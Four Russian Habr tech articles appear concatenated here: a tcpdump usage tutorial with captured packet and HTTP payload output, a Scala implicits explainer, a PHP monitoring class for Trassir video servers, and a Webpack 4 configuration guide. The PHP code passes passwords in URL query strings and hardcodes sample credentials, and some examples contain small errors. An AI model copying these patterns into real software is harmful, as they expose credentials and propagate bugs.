04:19:07.675747 IP 10.0.2.15.22 > 10.0.2.2.50422: Flags [P.], seq 100:136, ack 1, win 37232, length 36
04:19:07.675902 IP 10.0.2.2.50422 > 10.0.2.15.22: Flags [.], ack 136, win 65535, length 0
04:19:07.676142 IP 10.0.2.15.22 > 10.0.2.2.50422: Flags [P.], seq 136:236, ack 1, win 37232, length 100
```
* -c захватывает только набор строк, например, 5:
```
#tcpdump -c 5
```
```
04:19:07.675216 IP 10.0.2.15.22 > 10.0.2.2.50422: Flags [P.], seq 2186733178:2186733278, ack 204106815, win 37232, length 100
04:19:07.675497 IP 10.0.2.2.50422 > 10.0.2.15.22: Flags [.], ack 100, win 65535, length 0
04:19:07.675747 IP 10.0.2.15.22 > 10.0.2.2.50422: Flags [P.], seq 100:136, ack 1, win 37232, length 36
04:19:07.675902 IP 10.0.2.2.50422 > 10.0.2.15.22: Flags [.], ack 136, win 65535, length 0
04:19:07.676142 IP 10.0.2.15.22 > 10.0.2.2.50422: Flags [P.], seq 136:236, ack 1, win 37232, length 100
5 packets captured
```
* -tttt для использования более удобных временных меток (по умолчанию используются временные метки Unix)
```
# tcpdump –tttt
```
```
2020-07-06 04:30:12.203638 IP 10.0.2.15.22 > 10.0.2.2.50422: Flags [P.], seq 2186734102:2186734138, ack 204107103, win 37232, length 36
2020-07-06 04:30:12.203910 IP 10.0.2.2.50422 > 10.0.2.15.22: Flags [.], ack 36, win 65535, length 0
2020-07-06 04:30:12.204292 IP 10.0.2.15.22 > 10.0.2.2.50422: Flags [P.], seq 36:72, ack 1, win 37232, length 36
2020-07-06 04:30:12.204524 IP 10.0.2.2.50422 > 10.0.2.15.22: Flags [.], ack 72, win 65535, length 0
2020-07-06 04:30:12.204658 IP 10.0.2.15.22 > 10.0.2.2.50422: Flags [P.], seq 72:108, ack 1, win 37232, length 36
```
### Фильтры tcpdump
#### Фильтр выражений
Фильтр выражений выбирает, какие заголовки пакетов будут отображаться. Если фильтры не применяются, отображаются все заголовки пакетов.
Самые распространенные фильтры :
* port
* host
* src
* dst
* tcp
* udp
* icmp
#### Фильтр портов
Фильт портов используется для просмотра пакетов, поступающих на определенный порт:
```
# tcpdump -i eth1 -c 5 port 80
```
```
23:54:24.978612 IP 10.0.0.1.53971 > 10.0.0.50.80: Flags [SEW], seq 53967733, win 65535, options [mss 1460,nop,wscale 5,nop,nop,TS val 256360128 ecr 0,sackOK,eol], length 0
23:54:24.978650 IP 10.0.0.50.80 > 10.0.0.1.53971: Flags [S.E], seq 996967790, ack 53967734, win 28960, options [mss 1460,sackOK,TS val 5625522 ecr 256360128,nop,wscale 6], length 0
23:54:24.978699 IP 10.0.0.1.53972 > 10.0.0.50.80: Flags [SEW], seq 226341105, win 65535, options [mss 1460,nop,wscale 5,nop,nop,TS val 256360128 ecr 0,sackOK,eol], length 0
23:54:24.978711 IP 10.0.0.50.80 > 10.0.0.1.53972: Flags [S.E], seq 1363851389, ack 226341106, win 28960, options [mss 1460,sackOK,TS val 5625522 ecr 256360128,nop,wscale 6], length 0
```
#### Фильтр хостов
Для перехвата пакетов, приходящих или исходящих от определенного хоста. Например, IP-адрес 10.0.2.15:
```
# tcpdump host 10.0.2.15
```
```
03:48:06.087509 IP 10.0.2.15.22 > 10.0.2.2.50225: Flags [P.], seq 3862934963:3862934999, ack 65355639, win 37232, length 36
03:48:06.087806 IP 10.0.2.2.50225 > 10.0.2.15.22: Flags [.], ack 36, win 65535, length 0
03:48:06.088087 IP 10.0.2.15.22 > 10.0.2.2.50225: Flags [P.], seq 36:72, ack 1, win 37232, length 36
03:48:06.088274 IP 10.0.2.2.50225 > 10.0.2.15.22: Flags [.], ack 72, win 65535, length 0
03:48:06.088440 IP 10.0.2.15.22 > 10.0.2.2.50225: Flags [P.], seq 72:108, ack 1, win 37232, length 36
```
Для перехвата пакетов определенных типов протоколов. Например, icmp, на интерфейсе eth1:
```
# tcpdump -i eth1 icmp
```
```
04:03:47.408545 IP vagrant-ubuntu-trusty-64 > 10.0.0.51: ICMP echo request, id 2812, seq 75, length 64
04:03:47.408999 IP 10.0.0.51 > vagrant-ubuntu-trusty-64: ICMP echo reply, id 2812, seq 75, length 64
04:03:48.408697 IP vagrant-ubuntu-trusty-64 > 10.0.0.51: ICMP echo request, id 2812, seq 76, length 64
04:03:48.409208 IP 10.0.0.51 > vagrant-ubuntu-trusty-64: ICMP echo reply, id 2812, seq 76, length 64
04:03:49.411287 IP vagrant-ubuntu-trusty-64 > 10.0.0.51: ICMP echo request, id 2812, seq 77, length 64
```
#### Комбинирование фильтров
Фильтры можно комбинировать с помощью операторов:
* AND
* OR
* NOT
Это позволит писать команды, которые могут более точно изолировать пакеты. Например, пакеты с определенного IP-адреса и для определенного порта:
```
# tcpdump -n -i eth1 src 10.0.0.1 and dst port 80
```
```
00:18:17.155066 IP 10.0.0.1.54222 > 10.0.0.50.80: Flags [F.], seq 500773341, ack 2116767648, win 4117, options [nop,nop,TS val 257786173 ecr 5979014], length 0
00:18:17.155104 IP 10.0.0.1.54225 > 10.0.0.50.80: Flags [S], seq 904045691, win 65535, options [mss 1460,nop,wscale 5,nop,nop,TS val 257786173 ecr 0,sackOK,eol], length 0
00:18:17.157337 IP 10.0.0.1.54221 > 10.0.0.50.80: Flags [P.], seq 4282813257:4282813756, ack 1348066220, win 4111, options [nop,nop,TS val 257786174 ecr 5979015], length 499: HTTP: GET / HTTP/1.1
00:18:17.157366 IP 10.0.0.1.54225 > 10.0.0.50.80: Flags [.], ack 1306947508, win 4117, options [nop,nop,TS val 257786174 ecr 5983566], length 0
```
Если нужно перехватить все пакеты кроме ICMP, используем оператор **NOT**:
```
# tcpdump -i eth1 not icmp
```
### Сохранение заголовков в файл
Вывод tcpdump может довольно быстро перемещаться по экрану. В таких случаях можно сохранить заголовки пакетов в файле с опцией **-w**. Вывод сохраняется в файлы с расширением **.pcap**.
Следующая команда сохраняет 10 строк вывода интерфейса eth1 в icmp.pcap.
```
# tcpdump -i eth1 -c 10 -w icmp.pcap
```
```
tcpdump: listening on eth1, link-type EN10MB (Ethernet), capture size 262144 bytes
10 packets captured
10 packets received by filter
0 packets dropped by kernel
```
Прочитать этот файл можно с помощью опции **-r**
```
# tcpdump -i eth1 -c 10 -w icmp.pcap
```
```
reading from file icmp.pcap, link-type EN10MB (Ethernet)
05:33:20.852732 IP vagrant-ubuntu-trusty-64 > 10.0.0.51: ICMP echo request, id 3261, seq 33, length 64
05:33:20.853245 IP 10.0.0.51 > vagrant-ubuntu-trusty-64: ICMP echo reply, id 3261, seq 33, length 64
05:33:21.852586 IP vagrant-ubuntu-trusty-64 > 10.0.0.51: ICMP echo request, id 3261, seq 34, length 64
05:33:21.853104 IP 10.0.0.51 > vagrant-ubuntu-trusty-64: ICMP echo reply, id 3261, seq 34, length 64
05:33:22.852615 IP vagrant-ubuntu-trusty-64 > 10.0.0.51: ICMP echo request, id 3261, seq 35, length 64
```
### Просмотр сведений о пакете
Пока мы видели только заголовки пакетов, а для просмотра содержимого нужно использовать параметр **-A**. Вывод содержимого будет в формате ASCII.
С помощью опции **-X** можно отобразить вывод в шестнадцатеричном формате, правда, это не сильно помогает в тех случаях, когда соединение зашифровано.
```
# tcpdump -c10 -i eth1 -n -A port 80
```
```
23:35:53.109306 IP 10.0.0.1.53916 > 10.0.0.50.80: Flags [P.], seq 2366590408:2366590907, ack 175457677, win 4111, options [nop,nop,TS val 255253117 ecr 5344866], length 499: HTTP: GET / HTTP/1.1
E..'..@.@.%.
...
..2...P..M.
uE............
.6.}.Q.bGET / HTTP/1.1
Host: 10.0.0.50
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
If-Modified-Since: Tue, 04 Mar 2014 11:46:45 GMT
```
### Вывод
Утилита tcpdump проста в настройке и освоении. Необходимо лишь немного разобраться с:
* выводом
* фильтрами
* опциями
После чего tcpdump станет отличным помощником в вопросах обеспечения безопасности вашей сети.
[](https://alexhost.com/ru/dedicated-servers/) | https://habr.com/ru/post/531170/ | null | ru | null |
# Scala. Всем выйти из сумрака!
*А сейчас нужно обязательно дунуть, потому что если не дунуть, то ничего не получится.*
*—Цитаты великих*
И здравствуйте!
Сегодня мы поговорим о неявном в языке Scala. Кто еще не догадался — речь пойдет об implicit преобразованиях, параметрах, классах и иже с ними.Все новички, особенно любители питона с зеновским *Explicit is better than Implicit*, обычно впадают в кататонический ступор при виде подкапотной магии, творящейся в Scala. Весь компилятор и принципы в целом охватить за одну статью удастся вряд ли, но ведь дорогу осилит идущий?
---
#### 1. Неявные преобразования
А начнем мы с относительно простого раздела неявных преобразований. И жизненного примера.
Василий хочет себе автомобиль от производителя Рено. Вся семья долго копила деньги, но накопить всю сумму так и не смогли. Денег хватает разве что на новый ВАЗ. И тут резко хлоп! Рено покупает АвтоВАЗ. Вроде и производитель теперь нужный, да и денег хватает. Вот так вот неявно Вася теперь счастливый владелец иномарки.
Теперь попробуем это формализовать в виде кода:
**Жизненный пример**
```
case class Vasiliy(auto: Renault) {
println("Vasiliy owns "+auto)
}
case class Renault(isRussian: Boolean = false)
case class VAZ(isRussian: Boolean = true)
object VAZ {
implicit def vaz2renault(vaz: VAZ): Renault = Renault(vaz.isRussian) //вся магия здесь
}
object Family {
def present = {
Vasiliy(VAZ()) //подарим василию ВАЗ. Который внезапно Рено!
}
}
```
В результате выполнения `Family.present` мы увидим строку `Vasiliy owns Renault(true)`. Вот так Scala помогает обычным людям в этой непростой жизни!
Если привести более программисткий пример (что-то подобное использую у себя в проекте):
**Безжизненный пример**
```
case class PermissionsList(permissions: Set[String] = Set("UL"));
object PermissionsList {
implicit def str2permissions(str: String) = PermissionsList(str.split(";").toSet)
implicit def permissions2str(p: PermissionsList) = p.permissions.mkString(";")
}
//упрощенный
case class User(login: String, permissions: PermissionsList)
/* somewhere in a galaxy far far away */
User(login = "Vasiliy", permissions = "UL;AL") // только ловкость рук и ничего более
```
Приведенный код позволяет неявно приводить строки к объекту прав доступа и обратно. Это может быть удобно при работе в том же вебе, когда нам достаточно только склеить на клиенте нужную строку вида `"UL;AL"` и отправить ее на сервер, где она уже будет в нужный момент преобразована в наш объект.
**И вот мы подошли к важному пункту**. Когда и при каких условиях наш~~а тыква~~ ВАЗ превратится в Рено, а строка в объект PermissionsList?
В подавляющем большинстве случаев вся магия Scala происходит в compile-time (язык-то строго типизирован). Местный компилятор — чрезвычайно умная и находчивая тварь. Как только мы пытаемся вызвать у инстанса класса VAZ метод exat(), который там и не существовал никогда, наш компилятор пускается во все тяжкие и ~~варит мет~~ ищет неявное преобразование VAZ'а во что-то, что умеет exat(). Иначе говоря, `implicit def a2b(a: A): B`.
Ищет он неявные преобразования:* В текущей области видимости (например, внутри текущего объекта)
* В явных (`import app.VAZ.vaz2renault`)
* или групповых импортах (`import app.VAZ._`)
* В объекте-компаньоне преобразуемого
Кстати, помимо просто вызова несуществующего метода, компилятор попробует преобразовать объект в том случае, если мы попытаемся передать его в метод/функцию, которая требует параметр с другим типом данных. Это как раз из примера Василия и его семьи.
---
#### 1.1 Implicit class
Начиная с версии 2.10 в Scala появились Implicit class'ы, которые позволяют удобно группировать расширения (довешивать методы) для любых существующих классов. Вот простенький пример:
```
object MySimpleHelper {
implicit class StringExtended(str: String) {
def sayIt = println(str)
def sayItLouderBitch = println(str.toUpperCase +"!!!")
}
}
```
Как видно из приведенных сырцов, мы имеем объявленный внутри объекта класс, который принимает единственный аргумент — строку. Эта строка дается нам на растерзание в методах класса. И терзается это дело элементарно:
```
import MySimpleHelper._
"oh gosh" sayIt
> oh gosh
"oh gosh" sayItLouderBitch
> OH GOSH!!!
```
Но и тут есть несколько ограничений, которые надо иметь ввиду:
* Для implicit классов можно использовать только один явный аргумент конструктора, который, собственно и «расширяется» (про implicit параметры поговорим чуть позже)
* Подобные классы могут быть объявлены только внутри объектов, трейтов, других классов
* В области видимости объявления класса не могут существовать методы, свойства или объекты с тем же названием. Если у вас в, например, объекте есть свойство `VAZ`, то рядом не может сосуществовать `implicit class VAZ`
Ну а по факту, наш `StringExtended` будет преобразован компилятором в:
```
class StringExtended(str: String) {
def sayIt = println(str)
def sayItLouderBitch = println(str.toUpperCase +"!!!")
}
implicit def String2StringExtended(str: String): StringExtended = new StringExtended(str)
```
Знакомо, не так ли?
---
#### 2. Неявные параметры
Как-то слишком все просто и вы уже заскучали? Самое время небольшого хардкора! Пошевелим мозгами и залезем в исходники скалы:
**Неприветливый код**
```
/**
* TraversableOnce.scala: minBy
* Итак, имеем метод, который позволяет найти минимум в коллекции, причем минимум будем определять мы сами, используя для этого функцию, возвращающую объект типа B для каждого элемента A коллекции. Собственно, эти объекты B и сравниваются между собой, а возвращается тот A, чей B меньше всех. Как-то так.
*/
def minBy[B](f: A => B)(implicit cmp: Ordering[B]): A = {
//если коллекция пустая - что нам сравнивать?
if (isEmpty)
throw new UnsupportedOperationException("empty.minBy")
//объявим пустые переменные нужных типов
var minF: B = null.asInstanceOf[B]
var minElem: A = null.asInstanceOf[A]
var first = true //переменная для первой итерации
//поехали по коллекции
for (elem <- self) {
//передаем в функцию элемент A, получаем некое B
val fx = f(elem)
if (first || cmp.lt(fx, minF)) {
//если это наше первое сравнение - минимальный элемент будет первым же.
//или же cmp.lt вернет true в том случае, если f: B < текущего минимума minF: B
minElem = elem
minF = fx
first = false
}
}
minElem
}
```
Повтыкали, вроде все понятно.
Стоп, секунду. Но ведь мы используем minBy примерно так:
```
val cities = Seq(new City(population = 100000), new City(500000))
val smallCity = cities.minBy( city => city.population )
```
И никаких `cmp: Ordering[B] (в данном случае B == Int)` не передаем. Хотя вроде как код работает… Расслабься, парень. Это магия.
В импортированной области видимости, а конкретно в `scala.math.Ordering` существует
**вот такой вот кусок кода**
```
object Ordering extends LowPriorityOrderingImplicits {
...
trait IntOrdering extends Ordering[Int] {
def compare(x: Int, y: Int) =
if (x < y) -1
else if (x == y) 0
else 1
}
implicit object Int extends IntOrdering
...
}
```
Обратим внимание на последнюю строку — существует неявный объект Int, который имеет в своем арсенале метод `compare`, имплементированный при наследовании `Ordering[Int]` трейтом `IntOrdering`. Собственно, этот объект и используется для сравнения, неявно передается в злополучный `minBy`.
Сильно упрощенный пример выглядит примерно так:
**Приветливый код**
```
implicit val myValue: Int = 5
object Jules {
def doesHeLookLikeABitch(answer: String)(implicit times: Int) = {
for(x <- 1 to times) println(answer )
}
}
Jules.doesHeLookLikeABitch("WHAT?")
>WHAT?
>WHAT?
>WHAT?
>WHAT?
>WHAT?
```
Конечно, никто не запрещает нам самим ручками передавать неявные параметры. Не, ну вдруг понадобится.
И снова, снова ограничения, куда же без них.* В области видимости вызова метода должен существовать объект/значение, помеченный как implicit, причем существовать может только один параметр для одного типа данных. Иначе компилятор не поймет, что же нужно передать в метод.
* Как вариант, компилятор пошарится в объекте-компаньоне нашего `implicit T`, если таковой существует, и дернет оттуда `implicit val x: T`. Но это уже совсем тяжелые наркотики, как по мне.
---
#### 3. View/Context Bounds
Если ваш мозг уже оплавился — отдохните и выпейте кофе, а может чего покрепче. Я собираюсь поговорить о последней на сегодня неочевидности.
Допустим, что наш Василий, который ездит на новом автомобиле (тот самый, что умеет `exat()`) стал успешным человеком, программистом короче. И вот пишет Василий на Scala, и захотелось ему ЕЩЕ БОЛЬШЕ САХАРА АРРГХ. Мартин подумал и сказал — Окей. И ввел типы и ограничения по ним. Те самые `def f[T](a: T)`
##### 3.1 View Bounds
Это ограничение при объявлении типа говорит компилятору о том, что ~~истина~~ неявное преобразование где-то рядом.
```
def f[A <% B](a: A) = a.bMethod
```
Т.е. в доступой области видимости присутствует неявное преобразование из `A` в `B`. В принципе, можно представить запись в следующем виде:
```
def f[A](a: A) (implicit a2b: A => B) = a.bMethod:
```
Близкий русскому человеку пример выглядит примерно так:
```
class Car {
def exat() = println("POEXALI")
}
class VAZ
object VAZ {
implicit def vaz2car(v: VAZ): Car = new Car()
}
def go[A <% Car](a: A) = a.exat()
go(new VAZ())
> POEXALI
```
Замечательно! Жизнь стала прекрасной, волосы выросли обратно, жена вернулась, ну и что там далее по списку.
Но Василий напросился, и Мартина было уже не остановить… Так появилось
##### 3.2 Context Bounds
Это ограничение было введено в Scala 2.8, и, в отличии от View Bounds, отвечает не за неявные *преобразования*, а за неявные *параметры*, то есть
```
def f[A : B](a: A) = g(a) // где g принимает неявный параметр B[A]
```
Самым простым примером будет вот такая вот пара:
```
def f[A : Ordering](a: A, b: A) = if (implicitly[Ordering[A]].lt(a, b)) a else b
vs
def f[A](a: A, b: A)(implicit ord: Ordering[A]) = {
import ord._
if (a < b) a else b
}
```
Вообщем-то это отдаленный привет Хаскелю и его typeclass pattern'у.
---
#### Вместо послесловия
Дорога на этом не оканчивается, говорить о Scala можно долго и много. Но не все сразу, ведь главное — это понимание и желание понять. С желанием придет и осознание происходящего.
Ну а если вам после прочтения этой статьи не понятен код какого-то проекта, который использует неявные преобразования, советую закрыть блокнот и открыть нормальную IDE, там все красиво подсвечивается. А у меня уже голова не варит, я пойду. Всем спасибо за внимание. | https://habr.com/ru/post/209850/ | null | ru | null |
# Мониторинг серверов Trassir
Так сложилось, что есть необходимость администрирования большого количества (более 50 и будет кратно больше) серверов Trassir (сервера видеонаблюдения) расположенных в разных городах СНГ. В целом оборудование не плохое, но присутствуют проблемы с централизованным управлением в силу особенностей архитектуры системы, каждый сервер (NVR) живет своей жизнью. Некоторые возможности порулить сразу кучей устройств дает «родное» облако, но оно абсолютно неконфигурируемое и использовать его можно лишь как оно есть.
Утро каждого рабочего дня начинается с проверки каждого сервера на работоспособность, что отнимает очень много времени.
У DSSL есть SDK, полное [описание доступно тут](http://www.dssl.ru/files/trassir/manual/ru/sdk.html).
Потратил пару вечеров и написал класс на php, который позволяет веб-серверу проверять состояние Trassir серверов и выводить на страничку. Для доступа к Trassir серверам через web их необходимо сконфигурировать. Во-первых в настройках сервера включить «Разрешить доступ к Trassir из браузера», во — вторых «Trassir SDK» (и задать SDK пароль). Кроме того, рекомендую создать пользователя с усеченными правами для авторизации скрипта (в моем случае пользователь Monitoring, пароль 123, SDK пароль 12345).
В целом SDK дает огромные возможности, ознакомиться можно по ссылке что я давал выше.
Сам код класса:
```
php
class TrassirServer {
/*
1. Создаем новый объект. $serv = new TrassirServer('10.18.242.33', 'Monitoring', '123', '12345');
2. Обязательно проверяем онлайн ли он прежде чем работать с ним дальше! $serv-check_connection();
3. Получение сессии $serv->get_sid();
4. Получение списка объектов как массив $objects = $serv->get_objects(); Необходим пароль SDK
5. Получение здоровья $serv->get_health(); Обязательно перед этим выполнить пункт 3 (get_sid())
*/
public $status = array();
//public $objects = array();
private $ip_address, $user, $sid, $sdk_sid;
public function __construct($ip_address, $user, $password, $sdk_password) { //конструктор.
$this->ip_address = $ip_address;
$this->status['ip_address']= NULL;
$this->user = $user;
$this->password = $password;
$this->sdk_password = $sdk_password;
}
public function check_connection (){ //проверка доступности сервера.
$url = 'http://'.trim($this->ip_address).':80/';
$curlInit = curl_init($url);
curl_setopt($curlInit,CURLOPT_CONNECTTIMEOUT,2); //третий параметр - время ожидания ответа сервера в секундах
curl_setopt($curlInit,CURLOPT_HEADER,true);
curl_setopt($curlInit,CURLOPT_NOBODY,true);
curl_setopt($curlInit,CURLOPT_RETURNTRANSFER,true);
$response = curl_exec($curlInit);
curl_close($curlInit);
if ($response){
$this->status['online'] = true;
} else {
$this->status['online'] = false;
}
return $this->status['online'];
}
/* {
"success" : "0",
"error_code" : "invalid username or password"
}
/*
Username and Password should match to one of the server users.
*/
public function get_sid(){ //получение сессии
if ($this->status['online']){
$url = 'https://' . trim($this->ip_address) . ':8080/login?username=' . $this->user . '&password='.$this->password; //получаем объекты сервера по адресу
$responseJson_str = file_get_contents ($url);
$server_auth = json_decode ($responseJson_str, true); //переводим JSON в массив
if($server_auth['success']==1){
$this->status['sid'] = $server_auth['sid']; //записываем sid массив
}
else{
$this->status['sid'] = false;
}
}
return $this->status['sid'];
}
public function get_objects(){//получаем объекты сервера
if ($this->status['online']){
$url = 'https://' . trim($this->ip_address) . ':8080/objects/?password='.$this->sdk_password;
$responseJson_str = file_get_contents ($url); //получаем объекты сервера по адресу
$comment_position = strripos ($responseJson_str, '/*'); //отрезаем комментарий в конце ответа сервера
$responseJson_str = substr ($responseJson_str, 0, $comment_position);
$objects = json_decode ($responseJson_str, true);
return $objects;
}
return false;
}
/* пример вовзращаемого массива
{
"disks": "1",
"database": "1",
"channels_total": "10",
"channels_online": "5",
"uptime": "12902",
"cpu_load": "22.50",
"network": "1",
"automation": "1",
"disks_stat_main_days": "56.15",
"disks_stat_priv_days": "35.03",
"disks_stat_subs_days": "40.20"
}
*/
public function get_health() {
if ($this->status['online'] && $this->status['sid']){
$url = 'https://' . trim($this->ip_address) . ':8080/health?sid='.$this->status['sid'];
$responseJson_str = file_get_contents ($url); //получаем состояние сервера по адресу
$comment_position = strripos ($responseJson_str, '/*'); //отрезаем комментарий в конце ответа сервера
$responseJson_str = substr ($responseJson_str, 0, $comment_position);
$server_health = json_decode ($responseJson_str, true); //переводим JSON в массив
}
return $server_health;
}
}
?>
```
Пример использования подразумевает наличие трех файлов, index.php, view.css (таблица стилей, необязательна, но без нее все будет грустно), list\_of\_servers.txt (текстовый файл, в котором указаны IP адреса всех серверов для проверки, каждый с новой строки).
view.css:
```
.error{
background-color: cc3f5b;
#border: 1px dotted red;
#width: 99%;
padding-left: 5px;
}
.trassir_server{
#border-bottom: 1px solid black;
width: 250px;
height: 240px;
background-color: #4682B4;
color: white;
margin-top: 15px;
margin-left: 5px;
display: inline-block;
vertical-align: top;
}
.OK{
background-color: #4169E0;
border-bottom: 1px solid black;
padding-left: 5px;
}
.trassir_server_name{
font-size: 20px;
text-align: center;
height: 30px;
}
body{
background-color: #DCDCDC;
}
```
index.php
```
php
header('Content-Type: text/html; charset=utf-8');
ini_set('max_execution_time', 60);
error_reporting(E_ALL);
require ('classes/TrassirServer.php');
?
php
$user = 'Monitoring';
$password = '123';
$sdk\_password = '12345';
function trassir\_server\_monitor($ip, $user, $password, $sdk\_password){
$serv = new TrassirServer($ip, $user, $password, $sdk\_password);
echo '<div class = "trassir\_server"';
if ($serv->check\_connection()) {
if ($serv->get\_sid()) {
$objects = $serv->get\_objects();
if($objects){
foreach ($objects as $obj) //в массиве объектов ищем имя сервера
{
if ($obj['class'] == 'Server')
{
$serv->status['name']= $obj['name'];
}
}
}
echo ''; //вывод имени сервера
echo $serv->status['name'];
echo '';
echo ''; //вывод здоровья
$health = $serv->get\_health();
foreach ($health as $key => $value){
if (($key == 'disks' || $key == 'database' || $key == 'network' || $key == 'automation')&& $value=='1')
{
echo '';
echo $key . ': ';
echo 'OK';
echo '';
}
else if ($key == 'cpu\_load' && $value <= 75)
{
echo '';
echo 'Загрузка ЦП: ';
echo $value . '%';
echo '';
}
else if ($key == 'uptime' && $value > 3600)
{
echo '';
echo 'Аптайм: ';
$day = floor($value/86400);
$value1 = $value - $day\*86400;
$hour = floor(($value - $day\*86400)/3600);
echo $day.' days '.$hour . ' hours';
echo '';
}
else if ($key == 'uptime' && $value <= 3600)
{
echo '';
echo $key . ' less than hour : ';
echo $value . ' seconds';
echo '';
}
else if ($key == 'channels\_total')
{
echo '';
echo 'Каналов всего: ';
echo $value;
$ch\_total = $value;
echo '';
}
else if ($key == 'channels\_online' && $value == $ch\_total)
{
echo '';
echo 'Каналов онлайн: ';
echo $value;
$ch\_total = $value;
echo '';
}
else if (($key == 'disks\_stat\_main\_days' || $key == 'disks\_stat\_subs\_days')&& $value > 45)
{
echo '';
echo $key . ': ';
echo $value;
echo '';
}
else if ( $key == 'disks\_stat\_priv\_days')
{
echo '';
echo $key . ': ';
echo $value;
echo '';
}
else
{
echo '';
echo $key . ': ';
echo $value;
echo '';
}
}
echo '';
}
}
if (!$serv->status['online'] || !$serv->status['sid'] || !$objects){ //если не прошло соединение, не получена сессия или не считаны объекты сервера выводим ошибку.
echo '';
echo 'server ' . $ip . '';
echo 'connection error';
echo '';
}
echo '
```
';
}
$list\_of\_servers = fopen("conf/list\_of\_servers.txt", "r");
if ($list\_of\_servers) {
while (($buffer = fgets($list\_of\_servers)) !== false) {
trassir\_server\_monitor($buffer, $user, $password, $sdk\_password);
}
}
fclose($list\_of\_servers);
echo '
';
?>
Результат в моем случае (на период тестирования всего 4 сервера):
В планах:
1. Автоматический регулярный запуск скрипта (пару раз в сутки) и сохранение статистики состояния серверов в БД.
2. Возможно централизованное управление УЗ пользователей, если будет актуально к тому моменту когда смогу реализовать первое.
Если есть еще «счастливые» администраторы данной системы, буду рад помощи при желании совместной доработки функционала. Так же если кому-то интересен итоговый результат, но разработкой заниматься не готов — пишите на denis.glushakov@bk.ru, постараюсь про вас не забыть.
Советы по оптимизации кода с радостью приму в комментариях.
UPD от 22.06.2018. Так как некоторый интерес к материалу все же был, сделаю небольшой апдейт: Переписал весь этот ужас в более-менее приличную либу доступную на packagist (ищите по слову Trassir) и сделал на симфони в иной реализации с полным функционалом (сохранение состояний в БД, отображения статистики и т.д.). Кому актуально — пишите на почту, времени найти чтобы опубликовать пока нету, да и не дописано пока до конца. | https://habr.com/ru/post/344488/ | null | ru | null |
# Webpack 4 и разделение конфигурационного файла на модули
Привет, Хабр! Сегодня я расскажу вам о Webpack 4 с разделением кода на отдельные модули, а также о интересных решениях, которые помогут вам быстрее собрать сборку на webpack 4. В конце, я предоставлю свою базовую сборку на webpack c самыми необходимыми инструментами, которую вы в последствие сможете расширить. Данная сборка вам поможет понять данный материал, а также возможно поможет быстрее написать свою реализацию и быстрее решить возможные проблемы.
Основная идеология данной сборки — это корректное разделения кода внутри конфигурационного файла для удобства использования, чтения и чистоты webpack.config.js. Необходимые модули и плагины для dev и prod версии(а также для разделения функционала в главном файле) будут находиться в отдельной папке webpack и из неё импортироваться для соединения с главным конфигом.
Зачем нужен такой подход?
-------------------------
С постепенным ростом количества модулей, плагинов и т.д, которыми обрастает ваша сборка на вебпаке, конфигурационный файл растёт как на дрожжах. Со временем данный файл становится трудно читаемым, а изменять его под конкретный проект, если какие-то модули в нём не используется становится труднее, а хочется чего-то универсального. Поэтому требуется чёткая организация кода.
### Что нам понадобится?
Мы будем использоваться плагин *webpack-merge*.
Создаём папку webpack и выносим все отдельные модули в отдельные файлы. Например, webpack/pug.js, webpack/scss.js и экспортируем из них эти функции.
**Файл pug.js**
```
module.exports = function() {
return {
module: {
rules: [
{
test: /\.pug$/,
loader: 'pug-loader',
options: {
pretty: true,
},
},
],
},
};
};
```
**Файл webpack.config.js**. В данном файле мы их подключаем, и с помощью данного плагина удобно и быстро соединяем.
```
const merge = require('webpack-merge');
const pug = require('./webpack/pug');
const common = merge([
{
entry: {
'index': PATHS.source + '/pages/index/index.js',
'blog': PATHS.source + '/pages/blog/blog.js',
},
output: {
path: PATHS.build,
filename: './js/[name].js',
},
plugins: […],
optimization: { … },
},
pug(),
]);
```
Теперь если у нас есть новая задача, под которую нужен новый модуль, плагин, лоадер, то мы выносим его в отельный модуль(файл) и помещаем в папку webpack, а затем подключаем его в главный конфигурационный файл, сохраняя конфиг максимально чистым.
### Настройки для production и development
Сейчас мы с помощью банального if закончим наше разделение, к которому мы стремились, и настроим наш вебпак под эти два типа разработки, благодаря чему станет окончательно удобно пользоваться данным инструментом, а так же в будущем сможем гибко и просто настраивать его под любой другой проект, или же расширять в текущем. Для экспорта в ноду(для самой работы вебпака) в webpack 4 мы используем следующую конструкцию:
```
module.exports = function(env, argv) {
if (argv.mode === 'production') {
return merge([
common,
extractCSS(),
favicon(),
]);
}
if (argv.mode === 'development') {
return merge([
common,
devserver(),
sass(),
css(),
sourceMap(),
]);
}
```
В объект common мы подключаем то, что используется и на проде и в разработке, а в условиях подключаем только те модули, которые необходимы в этих случаях.
### Теперь хотелось бы поговорить об основных особенностях webpack 4 относительно webpack 3
* Для быстрого запуска, webpack 4 не нуждается в webpack.config.js, ему теперь необходима лишь точка входа (index.js)
* В новой версии webpack command line interface вынесен в отдельный пакет и нужно установить webpack-cli.
* Для запуска webpack 4, нужно (иначе будет warning) в скриптах указать mode (режим работы) --mode production или --mode development, в зависимости от ключа меняется работа вебпака. Режим development направлен для ускорения сборки. В production варианте направлено всё на итоговую минификацию кода.
* Для того что бы создать common.js и common.css файлы, более не используется CommonsChunkPlugin, за это теперь отвечают splitChunks и используется следующая конструкция:
```
optimization: {
splitChunks: {
cacheGroups: {
'common': {
minChunks: 2,
chunks: 'all',
name: 'common',
priority: 10,
enforce: true,
},
},
},
},
```
В вебпак 3 – это было бы так в plugins:
```
new webpack.optimize.CommonsChunkPlugin({ name: 'common ', })
```
Соответственно в чанках в HtmlWebpackPlugin подключаем (тут без изменений).
```
plugins: [
new HtmlWebpackPlugin({
filename: 'index.html',
chunks: ['index', 'common'],
template: PATHS.source + '/pages/index/index.pug',
}),
],
```
* Следующий важный момент, для того чтобы создать sourceMap, теперь мы используем следующий подход — создаём файл sourceMap.js в папке webpack и подключаем в дев версии например (как указано выше):
```
module.exports = function() {
return {
devtool: 'eval-sourcemap',
};
};
```
Теперь подход с *plugins: [new webpack.optimize.UglifyJsPlugin({}) ]* не работает.
На этом я хотел бы завершить свой рассказ и предоставить свою базовую сборку — [ссылка](https://github.com/anisov/webpack4/) на webpack 4, которая возможно вам поможет в работе и освоение. Спасибо за внимание! | https://habr.com/ru/post/422697/ | null | ru | null |
